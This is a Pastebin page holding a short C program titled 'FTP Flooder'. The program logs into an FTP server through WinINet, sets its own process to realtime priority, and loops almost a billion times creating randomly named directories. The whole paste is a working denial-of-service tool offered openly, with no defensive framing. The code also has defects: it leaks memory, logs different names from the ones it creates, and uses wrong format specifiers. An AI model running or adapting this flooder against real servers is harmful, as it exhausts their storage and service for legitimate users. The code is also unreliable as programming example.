Advertisement
krot

FTP Flooder

Aug 27th, 2016
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <wininet.h>
  4. #include <time.h>
  5.  
  6. #pragma comment(lib, "wininet.lib")
  7.  
  8.  
  9. char *randstr() {
  10.     int i,len;
  11.     char *res;
  12.     char *szRandomize = "abcdefghijklmnopqrstuvwxyz1234567890";
  13.     len =(rand()+8)%20;
  14.     res =(char*)malloc(len+1);
  15.     res[len] = 0;
  16.     for (i=0; i<len; i++)
  17.         res[i] = szRandomize[rand()%strlen(szRandomize)];
  18.  
  19.     return res;
  20. }
  21.  
  22. int main()
  23. {
  24.     HINTERNET hInternet, hConnect;
  25.  
  26.     srand(time(0));
  27.  
  28.     hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
  29.     if(hInternet != NULL){
  30.         hConnect = InternetConnect(hInternet, "127.0.0.1", INTERNET_DEFAULT_FTP_PORT, "username", "password", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
  31.         if(hConnect != NULL){
  32.             if(FtpSetCurrentDirectory(hConnect, "/") == FALSE){
  33.                 printf("Error on function: FtpSetCurrentDirectory(), Error-code: %s\n", GetLastError());
  34.             }else{
  35.                 SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
  36.  
  37.                 for(int i=0; i<999999999; i++){
  38.                     printf("Creating directory (%i): %s\n", i, randstr());
  39.                     FtpCreateDirectory(hConnect, (LPCSTR)randstr());
  40.                 }
  41.             }
  42.         }else{
  43.             printf("Error on function: InternetConnect(), Error-code: %s\n", GetLastError());
  44.         }
  45.     }else{
  46.         printf("Error on function: InternetOpen(), Error-code: %s\n", GetLastError());
  47.     }
  48.  
  49.     InternetCloseHandle(hConnect);
  50.     InternetCloseHandle(hInternet);
  51. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement